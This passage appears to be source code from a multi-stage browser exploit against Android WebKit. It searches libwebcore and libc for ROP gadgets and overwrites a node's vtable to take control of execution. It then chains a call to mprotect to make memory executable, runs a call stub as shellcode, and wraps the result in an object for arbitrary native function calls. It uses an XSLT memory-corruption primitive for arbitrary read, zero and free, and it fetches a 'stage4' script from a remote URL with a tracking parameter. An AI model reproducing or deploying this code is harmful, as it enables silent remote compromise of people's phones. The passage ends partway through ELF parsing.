|  var gadget\_addr = libwebcore.findstring\(  
|  "\u6807\u687d\u47a8", node, 0x200000  
|  \);  
|  
|  if \(gadget\_addr === null\) return null;  
|  return \{addr: gadget\_addr, reg: 5, disp: 4\};  
| \}  
|  
| function gadget1\_slowsearch\(libwebcore, memobj, node\) \{  
|  node.obj.nodeValue = "gadget1\_slowsearch";  
|  var m\_data = memobj.read32\(node.addr + node.dataoffset\);  
|  var oldaddr = memobj.read32\(m\_data + 8\);  
|  var oldlen = memobj.read32\(m\_data + 4\);  
|  
|  memobj.write32\(m\_data + 8, libwebcore.addr\);  
|  memobj.write32\(m\_data + 4, libwebcore.size/2\);  
|  
|  // Gadget 1  
|  
|  // .text:0039F34A 07 68 LDR R7, \[R0\]  
|  // .text:0039F34C ? ? LDR Rx, \[R7,\#y\]  
|  // .text:0039F34E ? 47 BLX Rx  
|  
|  // LDR Rt, \[Rn, \#imm\]  
|  // |15 14 13 12 11|10 09 08 07 06|05 04 03|02 01 00|  
|  // | 0 1 1 0 1| imm5 | Rn | Rt |  
|  // imm = imm5 << 2  
|  
|  // BLX Rm  
|  // |15 14 13 12 11 10 09 08 07|06 05 04 03|02 01 00|  
|  // | 0 1 0 0 0 1 1 1 1| Rm | 0 0 0|  
|  
|  var searchindex = 0;  
|  
|  while \(true\) \{  
|  var candidateindex = node.obj.nodeValue.indexOf\("\u6807", searchindex\);  
|  if \(candidateindex == -1\) \{  
|  memobj.write32\(m\_data + 8, oldaddr\);  
|  memobj.write32\(m\_data + 4, oldlen\);  
|  return null;  
|  \}  
|  searchindex = candidateindex + 1;  
|  var candidate = libwebcore.addr + candidateindex \* 2;  
|  
|  var i2 = memobj.read16\(candidate + 2\);  
|  if \(\(i2 & 0xf800\) \!= 0x6800\) continue;  
|  
|  var i3 = memobj.read16\(candidate + 4\);  
|  if \(\(i3 & 0xff80\) \!= 0x4780\) continue;  
|  
|  var imm = \(\(i2 >> 6\) & 0x1f\) << 2;  
|  var rn = \(i2 >> 3\) & 7;  
|  var rt = i2 & 7;  
|  
|  var rm = \(i3 >> 3\) & 7;  
|  
|  var i1 = memobj.read16\(candidate\);  
|  
|  if \(rn \!= 7\) continue;  
|  if \(rt \!= rm\) continue;  
|  if \(imm == 8 || imm == 12\) continue; // reserved for ROP  
|  if \(imm > 0x14 \* 4 && imm < 0x30 \* 4\) continue; // reserved for vtable  
|  if \(rt == 1 || rt == 7 || rt == 6\) continue;  
|  
|  if \(ENABLE\_DEBUG\) \{  
|  INFO\("Found Gadget 1 @ " +  
|  hex\(candidate\) + " \(" + hex\(candidate - libwebcore.addr\) + "\)"\);  
|  
|  INFO\(" \\\x" + hex\(memobj.read8\(candidate + 0\), 2\) +  
|  "\\\x" + hex\(memobj.read8\(candidate + 1\), 2\) +  
|  "\\\x" + hex\(memobj.read8\(candidate + 2\), 2\) +  
|  "\\\x" + hex\(memobj.read8\(candidate + 3\), 2\) +  
|  "\\\x" + hex\(memobj.read8\(candidate + 4\), 2\) +  
|  "\\\x" + hex\(memobj.read8\(candidate + 5\), 2\)\);  
|  
|  INFO\(" " + hex\(i1, 4\) + " LDR R7, \[R0\]"\);  
|  INFO\(" " + hex\(i2, 4\) + " LDR R" + rt + ", \[R" + rn + ", \#0x" +
hex\(imm\) + "\]"\);  
|  INFO\(" " + hex\(i3, 4\) + " BLX R" + rm\);  
|  INFO\(" "\);  
|  
|  \}  
|  
|  
|  memobj.write32\(m\_data + 8, oldaddr\);  
|  memobj.write32\(m\_data + 4, oldlen\);  
|  
|  return \{addr: candidate, reg: rt, disp: imm\};  
|  \}  
| \}  
|  
| // ARM gadgets variant of stage 3. Some lucky phones have more functions in
libc  
| // and libwebcore compiled in ARM mode \(32bit\).  
| // Gadgets and the ROP stack are different for those phones.  
|  
| function stage3\_alternate\(memobj, node, addr, page, libwebcore, libc\) \{  
|  var gadgets = \{\};  
|  
|  // Gadget 2 in libc  
|  
|  // .text:0001F988 08 D0 4B E2 SUB SP, R11, \#8  
|  // .text:0001F98C 10 48 BD E8 LDMFD SP\!, \{R4,R11,LR\}  
|  // .text:0001F990 0C D0 8D E2 ADD SP, SP, \#0xC  
|  // .text:0001F994 1E FF 2F E1 BX LR  
|  
|  gadgets.ggt2 = \{addr: libc.findstring\(  
|  "\ud008\ue24b\u4810\ue8bd\ud00c\ue28d\uff1e\ue12f", node  
|  \)\};  
|  
|  check\_gadgets\(gadgets\);  
|  
|  // Gadget 1 in libwebcore  
|  
|  // .text:00443010 00 B0 90 E5 LDR R11, \[R0\]  
|  // .text:00443014 08 20 9B E5 LDR R2, \[R11,\#8\]  
|  // .text:00443018 32 FF 2F E1 BLX R2  
|  
|  gadgets.ggt1 = \{addr: libwebcore.findstring\(  
|  "\ub000\ue590\u2008\ue59b\uff32\ue12f", node  
|  \)\};  
|  
|  check\_gadgets\(gadgets\);  
|  
|  // str\_r1\_r4 in libwebcore  
|  // .text:000FD824 21 60 STR R1, \[R4\]  
|  // .text:000FD826 70 BD POP \{R4-R6,PC\}  
|  
|  gadgets.str\_r1\_r4 = \{addr: libwebcore.findstring\(  
|  "\u6021\ubd70", node  
|  \), disp: 0\};  
|  
|  check\_gadgets\(gadgets\);  
|  
|  // .text:0001CF4C 01 80 BD E8 LDMFD SP\!, \{R0,PC\}  
|  gadgets.pop\_r0\_pc = \{addr: libc.findstring\(  
|  "\u8001\ue8bd", node  
|  \)\};  
|  
|  check\_gadgets\(gadgets\);  
|  
|  // .text:00012B30 3E BD POP \{R1-R5,PC\}  
|  
|  gadgets.pop\_r1\_\_r5\_pc = \{addr: libwebcore.findstring\(  
|  "\ubd3e", node  
|  \)\};  
|  
|  check\_gadgets\(gadgets\);  
|  
|  INFO\("\--- Gadget search completed --- "\);  
|  
|  if \(ENABLE\_DEBUG\) \{  
|  for \(var name in gadgets\) \{  
|  var extra = "";  
|  for \(var attr in gadgets\[name\]\) \{  
|  if \(attr \!= "addr"\) \{  
|  extra += attr + ": " + gadgets\[name\]\[attr\] + " ";  
|  \}  
|  \}  
|  if \(extra \!== ""\) \{  
|  extra = "\[ " + extra + "\]";  
|  \}  
|  INFO\(" " + hex\(gadgets\[name\].addr, 8\) + " " + name + " " + extra\);  
|  \}  
|  \}  
|  
|  // alert\("Stage3 alternate ARM: gadget search completed"\);  
|  
|  // Create a fake vtable @ addr + 0x8000, fill it with gadget1  
|  var fakevtable = addr + 0x8000;  
|  for \(var j = 0; j < 94; j++\) \{  
|  memobj.write32\(fakevtable + j \* 4, gadgets.ggt1.addr\);  
|  // memobj.write32\(fakevtable + j \* 4, 0x40404040\);  
|  \}  
|  
|  var ropstack = addr + 0x8400;  
|  
|  memobj.write32\(fakevtable - 8, 0xba434343\); // R4  
|  memobj.write32\(fakevtable - 4, ropstack + 8\); // R11  
|  memobj.write32\(fakevtable + 0, gadgets.ggt2.addr\); // LR  
|  memobj.write32\(fakevtable + 4, 0xba464646\);  
|  memobj.write32\(fakevtable + 8, gadgets.ggt2.addr\); // chain to ggt2  
|  
|  // \[ Alternate ROP Stack \]
------------------------------------------------- //  
|  
|  var mprotect = libc.findsymbol\("mprotect"\);  
|  INFO\("mprotect address: " + hex\(mprotect\)\);  
|  
|  INFO\("Stack will be written in " + hex\(addr + 0x8300 +
gadgets.str\_r1\_r4.disp\)\);  
|  
|  var shellcode\_addr = addr + 0xa000;  
|  
|  var ropstack\_content = \[  
|  addr + 0x8300, // R4 -- R1 will be copied here  
|  0xdeadbee5, // R11  
|  gadgets.str\_r1\_r4.addr + 1, // LR  
|  
|  0xdeadbee0, // compensate for add sp, sp, \#0xc in ggt2  
|  0xdeadbee4,  
|  0xdeadbee8,  
|  
|  0xdeadbee4, // R4  
|  0xdeadbee5, // R5  
|  0xdeadbee6, // R6  
|  gadgets.pop\_r0\_pc.addr, // PC  
|  
|  page.base, // R0 -- addr  
|  gadgets.pop\_r1\_\_r5\_pc.addr + 1, // PC  
|  
|  page.size - 0x100, // R1 -- size  
|  7, // R2 -- PROT\_READ | PROT\_WRITE | PROT\_EXEC  
|  0, // R3  
|  ropstack + 4, // R4 \(trash values on this stack\)  
|  0, // R5  
|  mprotect, // PC mprotect will return to lr \(str\_r1\_r4, set by ggt2\)  
|  // so R4 will need to be set to a dummy writable memory address  
|  
|  0xdeadbad4, // R4  
|  0xdeadbad5, // R5  
|  0xdeadbad6, // R6  
|  shellcode\_addr, // PC  
|  \];  
|  
|  for \(var i in ropstack\_content\) \{  
|  memobj.write32\(ropstack + i\*4, ropstack\_content\[i\]\);  
|  \}  
|  
|  // \[ Call stub \]
------------------------------------------------------------ //  
|  
|  // Setup structfn where to store parameters, function addresses and return
values  
|  
|  var structfn = addr + 0x6000  
|  memobj.write32\(structfn + 0, 0\);  
|  memobj.write32\(structfn + 4, 0\);  
|  memobj.write32\(structfn + 8, 0\);  
|  memobj.write32\(structfn + 12, 0\);  
|  memobj.write32\(structfn + 16, 0\);  
|  memobj.write32\(structfn + 20, 0\);  
|  memobj.write32\(structfn + 24, 0\);  
|  memobj.write32\(structfn + 28, 0\);  
|  
|  
|  for \(var i = 0; i < CALLSTUB.length; i++\) \{  
|  memobj.write8\(shellcode\_addr + i, CALLSTUB\[i\]\);  
|  \}  
|  
|  // Check if this is one of those lucky phones that have a  
|  // SEPARATE v8 library  
|  var v8start = libwebcore.addr;  
|  var v8end = libwebcore.addr + libwebcore.size  
|  
|  var v8enter = libwebcore.findreloc\("\_ZN2v87Context5EnterEv"\);  
|  if \(v8enter \!== null\) \{  
|  INFO\("v8 is separate from libwebcore. Adjusting checks..."\);  
|  var v8 = memobj.findimagebase\(v8enter\);  
|  v8 = new ELFObject\(v8, memobj\);  
|  v8start = v8.addr;  
|  v8end = v8.addr + v8.size;  
|  \}  
|  
|  // Fill the variable shellcode words  
|  for \(var i = 0; i < CALLSTUB.length/4; i++\) \{  
|  switch \(memobj.read32\(shellcode\_addr + i\*4\)\) \{  
|  case 0xbadadd00:  
|  memobj.write32\(shellcode\_addr + i\*4, addr + 0x8300 +
gadgets.str\_r1\_r4.disp\);  
|  break;  
|  case 0xbadadd01:  
|  memobj.write32\(shellcode\_addr + i\*4, libwebcore.addr\);  
|  break;  
|  case 0xbadadd02:  
|  memobj.write32\(shellcode\_addr + i\*4, libwebcore.addr +
libwebcore.size\);  
|  break;  
|  case 0xbadadd03:  
|  memobj.write32\(shellcode\_addr + i\*4, v8start\);  
|  break;  
|  case 0xbadadd04:  
|  memobj.write32\(shellcode\_addr + i\*4, v8end\);  
|  break;  
|  case 0xbadadd05:  
|  memobj.write32\(shellcode\_addr + i\*4, structfn\);  
|  break;  
|  case 0xbadadd06:  
|  memobj.write32\(shellcode\_addr + i\*4, 1\);  
|  break;  
|  \}  
|  \}  
|  
|  var vtable = memobj.read32\(node.addr\);  
|  
|  // PC control \(arbitrary address\)  
|  // Replace the vtable  
|  memobj.write32\(node.addr, fakevtable\);  
|  
|  // Call the function \(yes this is a function call\)  
|  node.obj.nodeValue = "x";  
|  
|  // Put the vtable down, NAO  
|  memobj.write32\(node.addr, vtable\);  
|  
|  INFO\("Got out of function call. Building RCECall"\);  
|  
|  var result = memobj.read32\(structfn\);  
|  memobj.write32\(structfn, 0x0\);  
|  
|  trk \*= result;  
|  
|  var rce = new RCE\(memobj, node, structfn, shellcode\_addr, fakevtable\);  
|  
|  download\_stage4\(memobj, rce, libc, libwebcore, addr, trk\);  
|  
| \}  
|  
| function download\_stage4\(memobj, rce, libc, libwebcore, addr, trk\) \{  
|  var stage4\_script = document.createElement\('script'\);  
|  stage4\_script.type = 'text/javascript';  
|  
|  stage4\_script.onload = function \(\) \{  
|  window\['stage4'\]\(memobj, rce, libc, libwebcore, addr\);  
|  \};  
|  
|  stage4\_script.src = '$\{B\_STAGE4\_REF\}?trk=' + trk.toString\(\);  
|  document.getElementsByTagName\('head'\)\[0\].appendChild\(stage4\_script\);  
| \}  
|  
| // \[ RCE object \]
----------------------------------------------------------- //  
|  
| /\*\*  
|  \* @constructor  
|  \*/  
| function RCE\(memobj, node, structfn, callstub, fakevtable\) \{  
|  this.node = node;  
|  this.structfn = structfn;  
|  this.callstub = callstub;  
|  this.memobj = memobj;  
|  this.fakevtable = fakevtable;  
| \}  
|  
| window\["RCE"\] = RCE;  
|  
| RCE.prototype.call = function\(fn, r0, r1, r2, r3, r4, forking\) \{  
|  if \(fn === undefined || fn === null\) \{  
|  ERR\("RCE: function address cannot be " + fn\);  
|  \}  
|  if \(r0 === undefined\) r0 = 0;  
|  if \(r1 === undefined\) r1 = 0;  
|  if \(r2 === undefined\) r2 = 0;  
|  if \(r3 === undefined\) r3 = 0;  
|  if \(r4 === undefined\) r4 = 0;  
|  
|  if \(forking === undefined\) forking = 0;  
|  if \(forking === false\) forking = 0;  
|  if \(forking === true\) forking = 1;  
|  
|  if \(forking \!== 0 && forking \!== 1\) \{  
|  ERR\("RCE.call: forking cannot be " + forking.toString\(\)\);  
|  \}  
|  
|  this.memobj.write32\(this.structfn + 0, fn\);  
|  this.memobj.write32\(this.structfn + 4, forking\);  
|  this.memobj.write32\(this.structfn + 8, r0\);  
|  this.memobj.write32\(this.structfn + 12, r1\);  
|  this.memobj.write32\(this.structfn + 16, r2\);  
|  this.memobj.write32\(this.structfn + 20, r3\);  
|  this.memobj.write32\(this.structfn + 24, r4\);  
|  
|  var vtable = this.memobj.read32\(this.node.addr\);  
|  
|  // Fill the vtable with callstub, if it's not already there  
|  if \(this.memobj.read32\(this.fakevtable\) \!= this.callstub\) \{  
|  for \(var j = 0; j < 94; j++\) \{  
|  this.memobj.write32\(this.fakevtable + j \* 4, this.callstub\);  
|  // memobj.write32\(addr + 0x8000 + j \* 4, 0x40404040\);  
|  \}  
|  \}  
|  
|  // Replace the vtable  
|  this.memobj.write32\(this.node.addr, this.fakevtable\);  
|  
|  // Call the function \(yes this is a function call\)  
|  this.node.obj.nodeValue = "x";  
|  
|  // Put the vtable down, NAO  
|  this.memobj.write32\(this.node.addr, vtable\);  
|  
|  var ret = this.memobj.read32\(this.structfn + 28\);  
|  return ret;  
| \};  
|  
| RCE.prototype\["call"\] = RCE.prototype.call;  
|  
| RCE.prototype.forkingcall = function\(fn, r0, r1, r2, r3, r4\) \{  
|  if \(fn === undefined || fn === null\) \{  
|  ERR\("RCE: function address cannot be " + fn\);  
|  \}  
|  if \(r0 === undefined\) r0 = 0;  
|  if \(r1 === undefined\) r1 = 0;  
|  if \(r2 === undefined\) r2 = 0;  
|  if \(r3 === undefined\) r3 = 0;  
|  if \(r4 === undefined\) r4 = 0;  
|  
|  return this.call\(fn, r0, r1, r2, r3, r4, true\);  
| \};  
|  
| RCE.prototype\["forkingcall"\] = RCE.prototype.forkingcall;  
|  
| // \[ XSLT exploit object \]
-------------------------------------------------- //  
|  
| /\*\*  
|  \* @constructor  
|  \*/  
| function XSLTObject\(page, childrenaddr, nameaddr, elementaddr, xml\) \{  
|  if \(page === undefined\) \{  
|  ERR\("XSLTObject: A page object is required."\);  
|  \}  
|  
|  if \(childrenaddr === undefined\) \{  
|  ERR\("XSLTObject: A children address is required."\);  
|  \}  
|  
|  if \(nameaddr === undefined\) \{  
|  ERR\("XSLTObject: A name address is required."\);  
|  \}  
|  
|  if \(elementaddr === undefined\) \{  
|  ERR\("XSLTObject: A root element address is required."\);  
|  \}  
|  
|  if \(xml === undefined\) \{  
|  ERR\("XSLTObject: An xml document object is required."\);  
|  \}  
|  
|  // Register this object globally  
|  window\['g\_xsltobj'\] = this;  
|  
|  this.alive = true;  
|  
|  this.page = page;  
|  this.ca = childrenaddr;  
|  this.na = nameaddr;  
|  this.ea = elementaddr;  
|  this.xml = xml;  
|  
|  INFO\("Creating XSLTObject: ca " + hex\(this.ca, 8\) + " na " +
hex\(this.na, 8\) + " ea " + hex\(this.ea, 8\)\);  
|  
|  // Spring cleaning  
|  for \(var i = 0; i < 0x6000/4; i++\) \{  
|  page.write\(this.ca + i\*4, 0\);  
|  \}  
|  
| \}  
|  
| XSLTObject.prototype.processXSL = function\(xslsource\) \{  
|  var processor = new XSLTProcessor\(\);  
|  var xsl = parseXML\(xslsource\);  
|  processor.importStylesheet\(xsl\);  
|  var result = processor.transformToDocument\(this.xml\);  
|  return result;  
| \};  
|  
| // Zeroes any dword in memory  
| XSLTObject.prototype.zero = function \(addr\) \{  
|  this.page.write\(this.ca + 4, 14\); // children->type = XML\_DTD\_NODE  
|  this.page.write\(this.ca + 24, 0\); // children->next = 0x0  
|  this.page.write\(this.ca + 28, addr - 24\); // children->prev = addr -
offset\(next\)  
|  
|  var xsl = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" >' +  
|  '<xsl:template match="/\*">' +  
|  ' <xsl:apply-templates/>' +  
|  '</xsl:template>' +  
|  '</xsl:stylesheet>';  
|  
|  this.processXSL\(xsl\);  
|  
|  // Clean up  
|  this.page.write\(this.ca + 4, 0\);  
|  this.page.write\(this.ca + 28, 0\);  
| \};  
|  
| // Frees address addr, and then follows the node chain.  
| // Every node with invalid type will be freed.  
| XSLTObject.prototype.free = function \(addr\) \{  
|  this.page.write\(this.ca + 4, 14\);  
|  this.page.write\(this.ca + 24, addr\); // children->next = freenode  
|  
|  // This will attempt to free addr  
|  this.page.write\(addr + 4, 0xbad\); // freenode->type invalid  
|  
|  
|  var xsl = '<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">' +  
|  '<xsl:template match="/\*">' +  
|  ' <xsl:apply-templates/>' +  
|  '</xsl:template>' +  
|  '</xsl:stylesheet>';  
|  
|  var res = this.processXSL\(xsl\);  
|  
|  this.page.write\(this.ca + 4, 0\);  
|  this.page.write\(this.ca + 24, 0\);  
| \};  
|  
| // readstring copies a null terminated string in memory. Any non-ascii
character is %-escaped  
| XSLTObject.prototype.readstring = function \(addr\) \{  
|  var old\_4 = this.page.read\(this.ca + 4\);  
|  var old\_40 = this.page.read\(this.ca + 40\);  
|  
|  this.page.write\(this.ca + 4, 3\); // children->type = XML\_TEXT\_NODE  
|  this.page.write\(this.ca + 40, addr\); // children->content = addr  
|  
|  var xsl = '<xsl:stylesheet ' +  
|  'xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ' +  
|  'xmlns:xq="http://www.w3.org/2002/08/xquery-functions" version="1.0" >' +  
|  '<xsl:template match="/\*">' +  
|  '<data>' +  
|  'DATA=<xsl:value-of select="xq:escape-uri\(text\(\), false\(\)\)" />' +  
|  '</data>' +  
|  '</xsl:template>' +  
|  '</xsl:stylesheet>';  
|  
|  var res = this.processXSL\(xsl\);  
|  
|  if \(res === undefined\) \{  
|  ERR\("XSLTObject.readstring: cannot process XSLT."\);  
|  \}  
|  
|  var data = res.getElementsByTagName\("data"\)\[0\];  
|  var ret = data.childNodes\[0\].nodeValue.slice\(5\);  
|  
|  // Clean up  
|  this.page.write\(this.ca + 4, old\_4\);  
|  this.page.write\(this.ca + 40, old\_40\);  
|  
|  return ret;  
| \};  
|  
| // Reads an arbitrary number of bytes by leveraging string read.  
| XSLTObject.prototype.readbytes = function \(addr, nbytes\) \{  
|  if \(addr === undefined\) \{  
|  ERR\("XSLTObject.readbytes: an address is required"\);  
|  \}  
|  
|  if \(nbytes === undefined\) \{  
|  ERR\("XSLTObject.readbytes: a number of bytes is required"\);  
|  \}  
|  
|  var bytes = \[\];  
|  var s;  
|  var cur = addr;  
|  var read = 0;  
|  var i = 0;  
|  
|  while \(read < nbytes\) \{  
|  s = this.readstring\(cur\);  
|  i = 0;  
|  while \(read < nbytes && i < s.length\) \{  
|  if \(s\[i\] == "%"\) \{  
|  bytes.push\(parseInt\(s.slice\(i+1, i+3\), 16\)\);  
|  i += 3;  
|  \} else \{  
|  bytes.push\(s.charCodeAt\(i\)\);  
|  i += 1;  
|  \}  
|  read += 1;  
|  \}  
|  if \(read < nbytes\) \{  
|  bytes.push\(0\);  
|  read += 1;  
|  \}  
|  cur = addr + read;  
|  \}  
|  
|  return bytes;  
| \};  
|  
| // Reads a dword \(or "word" in ARM speaking\) 32bit unsigned integer  
| XSLTObject.prototype.read32 = function \(addr\) \{  
|  var bytes = this.readbytes\(addr, 4\);  
|  return \(bytes\[0\] | bytes\[1\] << 8 | bytes\[2\] << 16 | \(bytes\[3\] << 24\)>>>0\)>>>0;  
| \};  
|  
| // Resets the original XML document values so that the browser won't crash  
| // when the current tab is closed.  
| // NOTE: The XSLTObject won't be usable anymore\! This is the last function  
| // to call.  
| XSLTObject.prototype.terminate = function \(\) \{  
|  this.zero\(this.ea + 40\); // element->content  
|  
|  this.page.write\(this.na + 0x100, stringtoarray\("qel"\)\);  
|  
|  // kill both element->name and element->children in one go  
|  
|  this.page.write\(this.ca + 4, 1\); // qel1->type = XML\_ELEMENT\_NODE  
|  this.page.write\(this.ca + 8, this.na + 0x100\); // qel1->name = "qel"  
|  this.page.write\(this.ca + 12, this.ca + 0x80\); // qel1->children  
|  this.page.write\(this.ca + 24, this.ca + 0x40\); // qel1->next = qel2  
|  
|  this.page.write\(this.ca + 0x40 + 4, 1\); // qel2->type =
XML\_ELEMENT\_NODE  
|  this.page.write\(this.ca + 0x40 + 8, this.na + 0x100\); // qel2->name =
"qel"  
|  this.page.write\(this.ca + 0x40 + 12, this.ca + 0xb0\); // qel2->children  
|  
|  this.page.write\(this.ca + 0x80 + 4, 14\); // DTDc1->type = XML\_DTD\_NODE  
|  this.page.write\(this.ca + 0x80 + 24, 0\);  
|  this.page.write\(this.ca + 0x80 + 28, this.ea + 8 - 24\); // DTDc1->prev =
element->name - off\(next\)  
|  
|  this.page.write\(this.ca + 0xb0 + 4, 14\); // DTDc1->type = XML\_DTD\_NODE  
|  this.page.write\(this.ca + 0xb0 + 24, 0\);  
|  this.page.write\(this.ca + 0xb0 + 28, this.ea + 12 - 24\); // DTDc1->prev =
element->children - off\(next\)  
|  
|  var xsl = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" >' +  
|  '<xsl:template match="qel">' +  
|  ' <xsl:apply-templates/>' +  
|  '</xsl:template>' +  
|  '<xsl:template match="/\*">' +  
|  ' <xsl:apply-templates/>' +  
|  '</xsl:template>' +  
|  '</xsl:stylesheet>';  
|  
|  this.processXSL\(xsl\);  
|  
|  this.alive = false;  
| \};  
|  
| // Testing functions  
| // Set the documentElement name  
| XSLTObject.prototype.set\_root\_name = function \(s\) \{  
|  this.page.write\(this.na, stringtoarray\(s\)\);  
| \};  
|  
| // Get the documentElement name  
| XSLTObject.prototype.get\_root\_name = function\(\) \{  
|  var xsl = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" >' +  
|  '<xsl:template match="/\*">' +  
|  '<data>' +  
|  '<xsl:value-of select="local-name\(\)" />' +  
|  '</data>' +  
|  '</xsl:template>' +  
|  '</xsl:stylesheet>';  
|  
|  var res = this.processXSL\(xsl\);  
|  
|  if \(res === undefined\) \{  
|  ERR\("XSLTObject.test: cannot process XSLT."\);  
|  \}  
|  
|  var data = res.getElementsByTagName\("data"\)\[0\];  
|  if \(data === undefined\) \{  
|  ERR\("XSLTObject.test: cannot process XSLT data field."\);  
|  \}  
|  return data.childNodes\[0\].nodeValue;  
| \};  
|  
| // \[ Array Memory exploit Object \]
------------------------------------------ //  
|  
| /\*\*  
|  \* @constructor  
|  \*/  
| function BufferMemoryObject\(arraybuffer\) \{  
|  if \(arraybuffer === undefined\) \{  
|  ERR\("BufferMemoryObject: an array is required"\);  
|  \}  
|  
|  this.arraybuffer = arraybuffer;  
|  this.view = new DataView\(arraybuffer\);  
| \}  
| window\["BufferMemoryObject"\] = BufferMemoryObject;  
|  
| BufferMemoryObject.prototype.write32 = function\(addr, content\) \{  
|  this.view.setUint32\(addr, content, true\);  
| \};  
|  
| BufferMemoryObject.prototype\["write32"\] =
BufferMemoryObject.prototype.write32;  
|  
| BufferMemoryObject.prototype.read32 = function\(addr\) \{  
|  return this.view.getUint32\(addr, true\)>>>0;  
| \};  
|  
| BufferMemoryObject.prototype\["read32"\] =
BufferMemoryObject.prototype.read32;  
|  
| BufferMemoryObject.prototype.write8 = function\(addr, content\) \{  
|  this.view.setUint8\(addr, content\);  
| \};  
|  
| BufferMemoryObject.prototype\["write8"\] =
BufferMemoryObject.prototype.write8;  
|  
| BufferMemoryObject.prototype.read8 = function\(addr\) \{  
|  return this.view.getUint8\(addr\);  
| \};  
|  
| BufferMemoryObject.prototype\["read8"\] =
BufferMemoryObject.prototype.read8;  
|  
| BufferMemoryObject.prototype.write16 = function\(addr, content\) \{  
|  this.view.setUint16\(addr, content, true\);  
| \};  
|  
| BufferMemoryObject.prototype\["write16"\] =
BufferMemoryObject.prototype.write16;  
|  
| BufferMemoryObject.prototype.read16 = function\(addr\) \{  
|  return this.view.getUint16\(addr, true\);  
| \};  
|  
| BufferMemoryObject.prototype\["read16"\] =
BufferMemoryObject.prototype.read16;  
|  
| BufferMemoryObject.prototype.writearray = function\(addr, arr\) \{  
|  for \(var i = 0; i < arr.length; i++\) \{  
|  this.write8\(addr + i, arr\[i\]\);  
|  \}  
| \};  
|  
| BufferMemoryObject.prototype\["writearray"\] =
BufferMemoryObject.prototype.writearray;  
|  
| BufferMemoryObject.prototype.writestring = function\(addr, s\) \{  
|  var arr = stringtoarray\(s, true\);  
|  for \(var i = 0; i < arr.length; i++\) \{  
|  this.write8\(addr + i, arr\[i\]\);  
|  \}  
| \};  
|  
| BufferMemoryObject.prototype\["writestring"\] =
BufferMemoryObject.prototype.writestring;  
|  
| // Searches for a given array of 32-bit values in memory \(in order\),  
| // starting at address addr.  
| BufferMemoryObject.prototype.find32 = function\(startaddr, endaddr, arr\) \{  
|  if \(startaddr === undefined\) \{  
|  ERR\("find32: a start address is required"\);  
|  \}  
|  
|  if \(endaddr === undefined\) \{  
|  ERR\("find32: An end address is required"\);  
|  \}  
|  
|  if \(arr === undefined\) \{  
|  ERR\("find32: An array is required"\);  
|  \}  
|  
|  if \(typeof\(arr\) == 'number'\) \{  
|  arr = \[arr\];  
|  \}  
|  
|  var addr = startaddr;  
|  
|  while \(addr < endaddr\) \{  
|  var cur = addr;  
|  for \(var i = 0; i < arr.length; i++\) \{  
|  if \(this.read32\(cur\) \!= arr\[i\]\) break;  
|  if \(i == arr.length - 1\) \{  
|  return addr;  
|  \}  
|  cur += 4;  
|  \}  
|  
|  addr += 4;  
|  \}  
|  
|  return null;  
| \};  
|  
| BufferMemoryObject.prototype\["find32"\] =
BufferMemoryObject.prototype.find32;  
|  
| // Searches for a given value or array of 16-bit values in memory \(in
order\),  
| // starting at address addr.  
| BufferMemoryObject.prototype.find16 = function\(startaddr, endaddr, arr\) \{  
|  if \(startaddr === undefined\) \{  
|  ERR\("find16: a start address is required"\);  
|  \}  
|  
|  if \(endaddr === undefined\) \{  
|  ERR\("find16: An end address is required"\);  
|  \}  
|  
|  if \(arr === undefined\) \{  
|  ERR\("find16: An array or value is required"\);  
|  \}  
|  
|  if \(typeof\(arr\) == 'number'\) \{  
|  arr = \[arr\];  
|  \}  
|  
|  var addr = startaddr;  
|  
|  while \(addr < endaddr\) \{  
|  var cur = addr;  
|  for \(var i = 0; i < arr.length; i++\) \{  
|  if \(this.read16\(cur\) \!= arr\[i\]\) break;  
|  if \(i == arr.length - 1\) \{  
|  return addr;  
|  \}  
|  cur += 2;  
|  \}  
|  
|  addr += 2;  
|  \}  
|  
|  return null;  
| \};  
|  
| BufferMemoryObject.prototype\["find16"\] =
BufferMemoryObject.prototype.find16;  
|  
| // Given an address inside an executable section of a module, goes backwards  
| // to find the ELF header of that module and returns the base address.  
| BufferMemoryObject.prototype.findimagebase = function \(addr\) \{  
|  addr = \(addr & 0xfffff000\)>>>0;  
|  
|  while \(true\) \{  
|  // 0x7f 'E' 'L' 'F' 0x01 0x01  
|  if \(\(this.read32\(addr\) == 0x464c457f\) &&  
|  \(this.read16\(addr + 4\) == 0x0101\)\) \{  
|  break;  
|  \}  
|  addr -= 0x1000;  
|  \}  
|  
|  return addr;  
| \};  
|  
| BufferMemoryObject.prototype\["findimagebase"\] =
BufferMemoryObject.prototype.findimagebase;  
|  
| // Reads a null-terminated ASCII string  
| BufferMemoryObject.prototype.readstring = function \(addr\) \{  
|  var arr = \[\];  
|  var b;  
|  
|  while \(true\) \{  
|  b = this.read8\(addr\);  
|  if \(b == 0\) \{  
|  break;  
|  \}  
|  
|  arr.push\(b\);  
|  addr++;  
|  \}  
|  return arraytostring\(arr\);  
| \};  
|  
| BufferMemoryObject.prototype\["readstring"\] =
BufferMemoryObject.prototype.readstring;  
|  
| // \[ ELF handling object \]
-------------------------------------------------- //  
|  
| /\*\*  
|  \* @constructor  
|  \*/  
| function ELFObject\(addr, memobj\) \{  
|  if \(addr === undefined\) \{  
|  ERR\("ELFObject: an address is required"\);  
|  \}  
|  
|  if \(memobj === undefined\) \{  
|  ERR\("ELFObject: a memory object is required"\);  
|  \}  
|  
|  this.addr = addr;  
|  this.memobj = memobj;  
|  
|  INFO\("\--- ELF data ---"\);  
|  this.initsymtab\(\);  
|  this.readgot\(\);  
|  INFO\("\--- ELF read ---"\);  
| \}  
|  
| window\["ELFObject"\] = ELFObject;  
|  
| ELFObject.prototype.initsymtab = function \(\) \{  
|  
|  var phdr = this.addr + this.memobj.read32\(this.addr + 28\);  
|  
|  var phnum = this.memobj.read16\(this.addr + 44\);  
|  var curhdr = phdr;  
|  var p\_type;  
|  
|  this.dynamic = null;  
|  
|  // this.size is the size of the executable segment where the  
|  // elf header resides.  
|  this.size = null;  
|  
|  
|  for \(var i = 0; i < phnum; i++\) \{  
|  p\_type = this.memobj.read32\(curhdr\);  
|  
|  if \(p\_type == 2\) \{ // PT\_DYNAMIC  
